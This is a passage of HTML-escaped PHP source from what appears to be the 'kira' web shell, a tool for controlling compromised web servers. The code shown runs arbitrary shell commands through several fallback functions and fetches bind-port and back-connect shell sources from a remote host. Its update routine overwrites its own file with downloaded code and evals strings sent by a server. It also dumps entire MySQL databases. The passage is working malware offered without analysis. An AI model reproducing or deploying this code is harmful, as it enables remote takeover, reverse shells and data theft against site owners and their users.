if (!empty($disablefunc))&lt;br /&gt;
{&lt;br /&gt;
 $disablefunc = str_replace(&amp;quot; &amp;quot;,&amp;quot;&amp;quot;,$disablefunc);&lt;br /&gt;
 $disablefunc = explode(&amp;quot;,&amp;quot;,$disablefunc);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if (!function_exists(&amp;quot;k1r4_buff_prepare&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function k1r4_buff_prepare()&lt;br /&gt;
{&lt;br /&gt;
 global $sess_data;&lt;br /&gt;
 global $act;&lt;br /&gt;
 foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {$sess_data[&amp;quot;copy&amp;quot;][$k] = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,realpath($v));}&lt;br /&gt;
 foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v) {$sess_data[&amp;quot;cut&amp;quot;][$k] = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,realpath($v));}&lt;br /&gt;
 $sess_data[&amp;quot;copy&amp;quot;] = array_unique($sess_data[&amp;quot;copy&amp;quot;]);&lt;br /&gt;
 $sess_data[&amp;quot;cut&amp;quot;] = array_unique($sess_data[&amp;quot;cut&amp;quot;]);&lt;br /&gt;
 sort($sess_data[&amp;quot;copy&amp;quot;]);&lt;br /&gt;
 sort($sess_data[&amp;quot;cut&amp;quot;]);&lt;br /&gt;
 if ($act != &amp;quot;copy&amp;quot;) {foreach($sess_data[&amp;quot;cut&amp;quot;] as $k=&amp;gt;$v) {if ($sess_data[&amp;quot;copy&amp;quot;][$k] == $v) {unset($sess_data[&amp;quot;copy&amp;quot;][$k]); }}}&lt;br /&gt;
 else {foreach($sess_data[&amp;quot;copy&amp;quot;] as $k=&amp;gt;$v) {if ($sess_data[&amp;quot;cut&amp;quot;][$k] == $v) {unset($sess_data[&amp;quot;cut&amp;quot;][$k]);}}}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
k1r4_buff_prepare();&lt;br /&gt;
if (!function_exists(&amp;quot;k1r4_sess_put&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function k1r4_sess_put($data)&lt;br /&gt;
{&lt;br /&gt;
 global $sess_cookie;&lt;br /&gt;
 global $sess_data;&lt;br /&gt;
 k1r4_buff_prepare();&lt;br /&gt;
 $sess_data = $data;&lt;br /&gt;
 $data = serialize($data);&lt;br /&gt;
 setcookie($sess_cookie,$data);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
foreach (array(&amp;quot;sort&amp;quot;,&amp;quot;sql_sort&amp;quot;) as $v)&lt;br /&gt;
{&lt;br /&gt;
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}&lt;br /&gt;
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}&lt;br /&gt;
}&lt;br /&gt;
if ($sort_save)&lt;br /&gt;
{&lt;br /&gt;
 if (!empty($sort)) {setcookie(&amp;quot;sort&amp;quot;,$sort);}&lt;br /&gt;
 if (!empty($sql_sort)) {setcookie(&amp;quot;sql_sort&amp;quot;,$sql_sort);}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;str2mini&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function str2mini($content,$len)&lt;br /&gt;
{&lt;br /&gt;
 if (strlen($content) &amp;gt; $len)&lt;br /&gt;
 {&lt;br /&gt;
  $len = ceil($len/2) - 2;&lt;br /&gt;
  return substr($content, 0,$len).&amp;quot;...&amp;quot;.substr($content,-$len);&lt;br /&gt;
 }&lt;br /&gt;
 else {return $content;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;view_size&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function view_size($size)&lt;br /&gt;
{&lt;br /&gt;
 if (!is_numeric($size)) {return FALSE;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  if ($size &amp;gt;= 1073741824) {$size = round($size/1073741824*100)/100 .&amp;quot; GB&amp;quot;;}&lt;br /&gt;
  elseif ($size &amp;gt;= 1048576) {$size = round($size/1048576*100)/100 .&amp;quot; MB&amp;quot;;}&lt;br /&gt;
  elseif ($size &amp;gt;= 1024) {$size = round($size/1024*100)/100 .&amp;quot; KB&amp;quot;;}&lt;br /&gt;
  else {$size = $size . &amp;quot; B&amp;quot;;}&lt;br /&gt;
  return $size;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_copy_dir&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_copy_dir($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 while (($o = readdir($h)) !== FALSE)&lt;br /&gt;
 {&lt;br /&gt;
  if (($o != &amp;quot;.&amp;quot;) and ($o != &amp;quot;..&amp;quot;))&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}&lt;br /&gt;
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}&lt;br /&gt;
   if (!$ret) {return $ret;}&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
 return TRUE;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_copy_obj&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_copy_obj($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
 $t = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$t);&lt;br /&gt;
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}&lt;br /&gt;
 if (is_dir($d))&lt;br /&gt;
 {&lt;br /&gt;
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  return fs_copy_dir($d,$t);&lt;br /&gt;
 }&lt;br /&gt;
 elseif (is_file($d)) {return copy($d,$t);}&lt;br /&gt;
 else {return FALSE;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_move_dir&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_move_dir($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 if (!is_dir($t)) {mkdir($t);}&lt;br /&gt;
 while (($o = readdir($h)) !== FALSE)&lt;br /&gt;
 {&lt;br /&gt;
  if (($o != &amp;quot;.&amp;quot;) and ($o != &amp;quot;..&amp;quot;))&lt;br /&gt;
  {&lt;br /&gt;
   $ret = TRUE;&lt;br /&gt;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}&lt;br /&gt;
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}&lt;br /&gt;
   if (!$ret) {return $ret;}&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
 return TRUE;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_move_obj&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_move_obj($d,$t)&lt;br /&gt;
{&lt;br /&gt;
 $d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
 $t = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$t);&lt;br /&gt;
 if (is_dir($d))&lt;br /&gt;
 {&lt;br /&gt;
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  return fs_move_dir($d,$t);&lt;br /&gt;
 }&lt;br /&gt;
 elseif (is_file($d))&lt;br /&gt;
 {&lt;br /&gt;
  if(copy($d,$t)) {return unlink($d);}&lt;br /&gt;
  else {unlink($t); return FALSE;}&lt;br /&gt;
 }&lt;br /&gt;
 else {return FALSE;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_rmdir&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_rmdir($d)&lt;br /&gt;
{&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 while (($o = readdir($h)) !== FALSE)&lt;br /&gt;
 {&lt;br /&gt;
  if (($o != &amp;quot;.&amp;quot;) and ($o != &amp;quot;..&amp;quot;))&lt;br /&gt;
  {&lt;br /&gt;
   if (!is_dir($d.$o)) {unlink($d.$o);}&lt;br /&gt;
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
 rmdir($d);&lt;br /&gt;
 return !is_dir($d);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;fs_rmobj&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function fs_rmobj($o)&lt;br /&gt;
{&lt;br /&gt;
 $o = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$o);&lt;br /&gt;
 if (is_dir($o))&lt;br /&gt;
 {&lt;br /&gt;
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
  return fs_rmdir($o);&lt;br /&gt;
 }&lt;br /&gt;
 elseif (is_file($o)) {return unlink($o);}&lt;br /&gt;
 else {return FALSE;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;myshellexec&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function myshellexec($cmd)&lt;br /&gt;
{&lt;br /&gt;
 global $disablefunc;&lt;br /&gt;
 $result = &amp;quot;&amp;quot;;&lt;br /&gt;
 if (!empty($cmd))&lt;br /&gt;
 {&lt;br /&gt;
  if (is_callable(&amp;quot;exec&amp;quot;) and !in_array(&amp;quot;exec&amp;quot;,$disablefunc)) {exec($cmd,$result); $result = join(&amp;quot;\n&amp;quot;,$result);}&lt;br /&gt;
  elseif (($result = `$cmd`) !== FALSE) {}&lt;br /&gt;
  elseif (is_callable(&amp;quot;system&amp;quot;) and !in_array(&amp;quot;system&amp;quot;,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}&lt;br /&gt;
  elseif (is_callable(&amp;quot;passthru&amp;quot;) and !in_array(&amp;quot;passthru&amp;quot;,$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}&lt;br /&gt;
  elseif (is_resource($fp = popen($cmd,&amp;quot;r&amp;quot;)))&lt;br /&gt;
  {&lt;br /&gt;
   $result = &amp;quot;&amp;quot;;&lt;br /&gt;
   while(!feof($fp)) {$result .= fread($fp,1024);}&lt;br /&gt;
   pclose($fp);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 return $result;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;tabsort&amp;quot;)) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}&lt;br /&gt;
if (!function_exists(&amp;quot;view_perms&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function view_perms($mode)&lt;br /&gt;
{&lt;br /&gt;
 if (($mode &amp;amp; 0xC000) === 0xC000) {$type = &amp;quot;s&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x4000) === 0x4000) {$type = &amp;quot;d&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0xA000) === 0xA000) {$type = &amp;quot;l&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x8000) === 0x8000) {$type = &amp;quot;-&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x6000) === 0x6000) {$type = &amp;quot;b&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x2000) === 0x2000) {$type = &amp;quot;c&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x1000) === 0x1000) {$type = &amp;quot;p&amp;quot;;}&lt;br /&gt;
 else {$type = &amp;quot;?&amp;quot;;}&lt;br /&gt;
&lt;br /&gt;
 $owner[&amp;quot;read&amp;quot;] = ($mode &amp;amp; 00400)?&amp;quot;r&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $owner[&amp;quot;write&amp;quot;] = ($mode &amp;amp; 00200)?&amp;quot;w&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $owner[&amp;quot;execute&amp;quot;] = ($mode &amp;amp; 00100)?&amp;quot;x&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $group[&amp;quot;read&amp;quot;] = ($mode &amp;amp; 00040)?&amp;quot;r&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $group[&amp;quot;write&amp;quot;] = ($mode &amp;amp; 00020)?&amp;quot;w&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $group[&amp;quot;execute&amp;quot;] = ($mode &amp;amp; 00010)?&amp;quot;x&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $world[&amp;quot;read&amp;quot;] = ($mode &amp;amp; 00004)?&amp;quot;r&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $world[&amp;quot;write&amp;quot;] = ($mode &amp;amp; 00002)? &amp;quot;w&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
 $world[&amp;quot;execute&amp;quot;] = ($mode &amp;amp; 00001)?&amp;quot;x&amp;quot;:&amp;quot;-&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
 if ($mode &amp;amp; 0x800) {$owner[&amp;quot;execute&amp;quot;] = ($owner[&amp;quot;execute&amp;quot;] == &amp;quot;x&amp;quot;)?&amp;quot;s&amp;quot;:&amp;quot;S&amp;quot;;}&lt;br /&gt;
 if ($mode &amp;amp; 0x400) {$group[&amp;quot;execute&amp;quot;] = ($group[&amp;quot;execute&amp;quot;] == &amp;quot;x&amp;quot;)?&amp;quot;s&amp;quot;:&amp;quot;S&amp;quot;;}&lt;br /&gt;
 if ($mode &amp;amp; 0x200) {$world[&amp;quot;execute&amp;quot;] = ($world[&amp;quot;execute&amp;quot;] == &amp;quot;x&amp;quot;)?&amp;quot;t&amp;quot;:&amp;quot;T&amp;quot;;}&lt;br /&gt;
&lt;br /&gt;
 return $type.join(&amp;quot;&amp;quot;,$owner).join(&amp;quot;&amp;quot;,$group).join(&amp;quot;&amp;quot;,$world);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;posix_getpwuid&amp;quot;) and !in_array(&amp;quot;posix_getpwuid&amp;quot;,$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}&lt;br /&gt;
if (!function_exists(&amp;quot;posix_getgrgid&amp;quot;) and !in_array(&amp;quot;posix_getgrgid&amp;quot;,$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}&lt;br /&gt;
if (!function_exists(&amp;quot;posix_kill&amp;quot;) and !in_array(&amp;quot;posix_kill&amp;quot;,$disablefunc)) {function posix_kill($gid) {return FALSE;}}&lt;br /&gt;
if (!function_exists(&amp;quot;parse_perms&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function parse_perms($mode)&lt;br /&gt;
{&lt;br /&gt;
 if (($mode &amp;amp; 0xC000) === 0xC000) {$t = &amp;quot;s&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x4000) === 0x4000) {$t = &amp;quot;d&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0xA000) === 0xA000) {$t = &amp;quot;l&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x8000) === 0x8000) {$t = &amp;quot;-&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x6000) === 0x6000) {$t = &amp;quot;b&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x2000) === 0x2000) {$t = &amp;quot;c&amp;quot;;}&lt;br /&gt;
 elseif (($mode &amp;amp; 0x1000) === 0x1000) {$t = &amp;quot;p&amp;quot;;}&lt;br /&gt;
 else {$t = &amp;quot;?&amp;quot;;}&lt;br /&gt;
 $o[&amp;quot;r&amp;quot;] = ($mode &amp;amp; 00400) &amp;gt; 0; $o[&amp;quot;w&amp;quot;] = ($mode &amp;amp; 00200) &amp;gt; 0; $o[&amp;quot;x&amp;quot;] = ($mode &amp;amp; 00100) &amp;gt; 0;&lt;br /&gt;
 $g[&amp;quot;r&amp;quot;] = ($mode &amp;amp; 00040) &amp;gt; 0; $g[&amp;quot;w&amp;quot;] = ($mode &amp;amp; 00020) &amp;gt; 0; $g[&amp;quot;x&amp;quot;] = ($mode &amp;amp; 00010) &amp;gt; 0;&lt;br /&gt;
 $w[&amp;quot;r&amp;quot;] = ($mode &amp;amp; 00004) &amp;gt; 0; $w[&amp;quot;w&amp;quot;] = ($mode &amp;amp; 00002) &amp;gt; 0; $w[&amp;quot;x&amp;quot;] = ($mode &amp;amp; 00001) &amp;gt; 0;&lt;br /&gt;
 return array(&amp;quot;t&amp;quot;=&amp;gt;$t,&amp;quot;o&amp;quot;=&amp;gt;$o,&amp;quot;g&amp;quot;=&amp;gt;$g,&amp;quot;w&amp;quot;=&amp;gt;$w);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;parsesort&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function parsesort($sort)&lt;br /&gt;
{&lt;br /&gt;
 $one = intval($sort);&lt;br /&gt;
 $second = substr($sort,-1);&lt;br /&gt;
 if ($second != &amp;quot;d&amp;quot;) {$second = &amp;quot;a&amp;quot;;}&lt;br /&gt;
 return array($one,$second);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;view_perms_color&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function view_perms_color($o)&lt;br /&gt;
{&lt;br /&gt;
 if (!is_readable($o)) {return &amp;quot;&amp;lt;font color=red&amp;gt;&amp;quot;.view_perms(fileperms($o)).&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
 elseif (!is_writable($o)) {return &amp;quot;&amp;lt;font color=white&amp;gt;&amp;quot;.view_perms(fileperms($o)).&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
 else {return &amp;quot;&amp;lt;font color=green&amp;gt;&amp;quot;.view_perms(fileperms($o)).&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;k1r4getsource&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function k1r4getsource($fn)&lt;br /&gt;
{&lt;br /&gt;
 global $k1r4_sourcesurl;&lt;br /&gt;
 $array = array(&lt;br /&gt;
  &amp;quot;k1r4_bindport.pl&amp;quot; =&amp;gt; &amp;quot;k1r4_bindport_pl.txt&amp;quot;,&lt;br /&gt;
  &amp;quot;k1r4_bindport.c&amp;quot; =&amp;gt; &amp;quot;k1r4_bindport_c.txt&amp;quot;,&lt;br /&gt;
  &amp;quot;k1r4_backconn.pl&amp;quot; =&amp;gt; &amp;quot;k1r4_backconn_pl.txt&amp;quot;,&lt;br /&gt;
  &amp;quot;k1r4_backconn.c&amp;quot; =&amp;gt; &amp;quot;k1r4_backconn_c.txt&amp;quot;,&lt;br /&gt;
  &amp;quot;k1r4_datapipe.pl&amp;quot; =&amp;gt; &amp;quot;k1r4_datapipe_pl.txt&amp;quot;,&lt;br /&gt;
  &amp;quot;k1r4_datapipe.c&amp;quot; =&amp;gt; &amp;quot;k1r4_datapipe_c.txt&amp;quot;,&lt;br /&gt;
 );&lt;br /&gt;
 $name = $array[$fn];&lt;br /&gt;
 if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}&lt;br /&gt;
 else {return FALSE;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;k1r4_getupdate&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function k1r4_getupdate($update = TRUE)&lt;br /&gt;
{&lt;br /&gt;
 $url = $GLOBALS[&amp;quot;k1r4_updateurl&amp;quot;].&amp;quot;?version=&amp;quot;.urlencode(base64_encode($GLOBALS[&amp;quot;shver&amp;quot;])).&amp;quot;&amp;amp;updatenow=&amp;quot;.($updatenow?&amp;quot;1&amp;quot;:&amp;quot;0&amp;quot;).&amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
 $data = @file_get_contents($url);&lt;br /&gt;
 if (!$data) {return &amp;quot;Can't connect to update-server!&amp;quot;;}&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
  $data = ltrim($data);&lt;br /&gt;
  $string = substr($data,3,ord($data{2}));&lt;br /&gt;
  if ($data{0} == &amp;quot;\x99&amp;quot; and $data{1} == &amp;quot;\x01&amp;quot;) {return &amp;quot;Error: &amp;quot;.$string; return FALSE;}&lt;br /&gt;
  if ($data{0} == &amp;quot;\x99&amp;quot; and $data{1} == &amp;quot;\x02&amp;quot;) {return &amp;quot;You are using latest version!&amp;quot;;}&lt;br /&gt;
  if ($data{0} == &amp;quot;\x99&amp;quot; and $data{1} == &amp;quot;\x03&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $string = explode(&amp;quot;\x01&amp;quot;,$string);&lt;br /&gt;
   if ($update)&lt;br /&gt;
   {&lt;br /&gt;
    $confvars = array();&lt;br /&gt;
    $sourceurl = $string[0];&lt;br /&gt;
    $source = file_get_contents($sourceurl);&lt;br /&gt;
    if (!$source) {return &amp;quot;Can't fetch update!&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $fp = fopen(__FILE__,&amp;quot;w&amp;quot;);&lt;br /&gt;
     if (!$fp) {return &amp;quot;Local error: can't write update to &amp;quot;.__FILE__.&amp;quot;! You may download kira.php manually &amp;lt;a href=\&amp;quot;&amp;quot;.$sourceurl.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;u&amp;gt;here&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;.&amp;quot;;}&lt;br /&gt;
     else {fwrite($fp,$source); fclose($fp); return &amp;quot;Thanks! Updated with success.&amp;quot;;}&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   else {return &amp;quot;New version are available: &amp;quot;.$string[1];}&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($data{0} == &amp;quot;\x99&amp;quot; and $data{1} == &amp;quot;\x04&amp;quot;) {eval($string); return 1;}&lt;br /&gt;
  else {return &amp;quot;Error in protocol: segmentation failed! (&amp;quot;.$data.&amp;quot;) &amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_dump&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_dump($set)&lt;br /&gt;
{&lt;br /&gt;
 global $shver;&lt;br /&gt;
 $sock = $set[&amp;quot;sock&amp;quot;];&lt;br /&gt;
 $db = $set[&amp;quot;db&amp;quot;];&lt;br /&gt;
 $print = $set[&amp;quot;print&amp;quot;];&lt;br /&gt;
 $nl2br = $set[&amp;quot;nl2br&amp;quot;];&lt;br /&gt;
 $file = $set[&amp;quot;file&amp;quot;];&lt;br /&gt;
 $add_drop = $set[&amp;quot;add_drop&amp;quot;];&lt;br /&gt;
 $tabs = $set[&amp;quot;tabs&amp;quot;];&lt;br /&gt;
 $onlytabs = $set[&amp;quot;onlytabs&amp;quot;];&lt;br /&gt;
 $ret = array();&lt;br /&gt;
 $ret[&amp;quot;err&amp;quot;] = array();&lt;br /&gt;
 if (!is_resource($sock)) {echo(&amp;quot;Error: \$sock is not valid resource.&amp;quot;);}&lt;br /&gt;
 if (empty($db)) {$db = &amp;quot;db&amp;quot;;}&lt;br /&gt;
 if (empty($print)) {$print = 0;}&lt;br /&gt;
 if (empty($nl2br)) {$nl2br = 0;}&lt;br /&gt;
 if (empty($add_drop)) {$add_drop = TRUE;}&lt;br /&gt;
 if (empty($file))&lt;br /&gt;
 {&lt;br /&gt;
  $file = $tmpdir.&amp;quot;dump_&amp;quot;.getenv(&amp;quot;SERVER_NAME&amp;quot;).&amp;quot;_&amp;quot;.$db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 if (!is_array($tabs)) {$tabs = array();}&lt;br /&gt;
 if (empty($add_drop)) {$add_drop = TRUE;}&lt;br /&gt;
 if (sizeof($tabs) == 0)&lt;br /&gt;
 {&lt;br /&gt;
  // retrive tables-list&lt;br /&gt;
  $res = mysql_query(&amp;quot;SHOW TABLES FROM &amp;quot;.$db, $sock);&lt;br /&gt;
  if (mysql_num_rows($res) &amp;gt; 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}&lt;br /&gt;
 }&lt;br /&gt;
 $out = &amp;quot;# Dumped by kira.SQL v. &amp;quot;.$shver.&amp;quot;&lt;br /&gt;
# Home page: http://google.com&lt;br /&gt;
#&lt;br /&gt;
# Host settings:&lt;br /&gt;
# MySQL version: (&amp;quot;.mysql_get_server_info().&amp;quot;) running on &amp;quot;.getenv(&amp;quot;SERVER_ADDR&amp;quot;).&amp;quot; (&amp;quot;.getenv(&amp;quot;SERVER_NAME&amp;quot;).&amp;quot;)&amp;quot;.&amp;quot;&lt;br /&gt;
# Date: &amp;quot;.date(&amp;quot;d.m.Y H:i:s&amp;quot;).&amp;quot;&lt;br /&gt;
# DB: \&amp;quot;&amp;quot;.$db.&amp;quot;\&amp;quot;&lt;br /&gt;
#---------------------------------------------------------&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
 $c = count($onlytabs);&lt;br /&gt;
 foreach($tabs as $tab)&lt;br /&gt;
 {&lt;br /&gt;
  if ((in_array($tab,$onlytabs)) or (!$c))&lt;br /&gt;
  {&lt;br /&gt;
   if ($add_drop) {$out .= &amp;quot;DROP TABLE IF EXISTS `&amp;quot;.$tab.&amp;quot;`;\n&amp;quot;;}&lt;br /&gt;
   // recieve query for create table structure&lt;br /&gt;
   $res = mysql_query(&amp;quot;SHOW CREATE TABLE `&amp;quot;.$tab.&amp;quot;`&amp;quot;, $sock);&lt;br /&gt;
   if (!$res) {$ret[&amp;quot;err&amp;quot;][] = mysql_smarterror();}&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $row = mysql_fetch_row($res);&lt;br /&gt;
    $out .= $row[&amp;quot;1&amp;quot;].&amp;quot;;\n\n&amp;quot;;&lt;br /&gt;
    // recieve table variables&lt;br /&gt;
    $res = mysql_query(&amp;quot;SELECT * FROM `$tab`&amp;quot;, $sock);&lt;br /&gt;
    if (mysql_num_rows($res) &amp;gt; 0)&lt;br /&gt;
    {&lt;br /&gt;
     while ($row = mysql_fetch_assoc($res))&lt;br /&gt;
     {&lt;br /&gt;
      $keys = implode(&amp;quot;`, `&amp;quot;, array_keys($row));&lt;br /&gt;
      $values = array_values($row);&lt;br /&gt;
      foreach($values as $k=&amp;gt;$v) {$values[$k] = addslashes($v);}&lt;br /&gt;
      $values = implode(&amp;quot;', '&amp;quot;, $values);&lt;br /&gt;
      $sql = &amp;quot;INSERT INTO `$tab`(`&amp;quot;.$keys.&amp;quot;`) VALUES ('&amp;quot;.$values.&amp;quot;');\n&amp;quot;;&lt;br /&gt;
      $out .= $sql;&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 $out .= &amp;quot;#---------------------------------------------------------------------------------\n\n&amp;quot;;&lt;br /&gt;
 if ($file)&lt;br /&gt;
 {&lt;br /&gt;
  $fp = fopen($file, &amp;quot;w&amp;quot;);&lt;br /&gt;
  if (!$fp) {$ret[&amp;quot;err&amp;quot;][] = 2;}&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
   fwrite ($fp, $out);&lt;br /&gt;
   fclose ($fp);&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}&lt;br /&gt;
 return $out;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
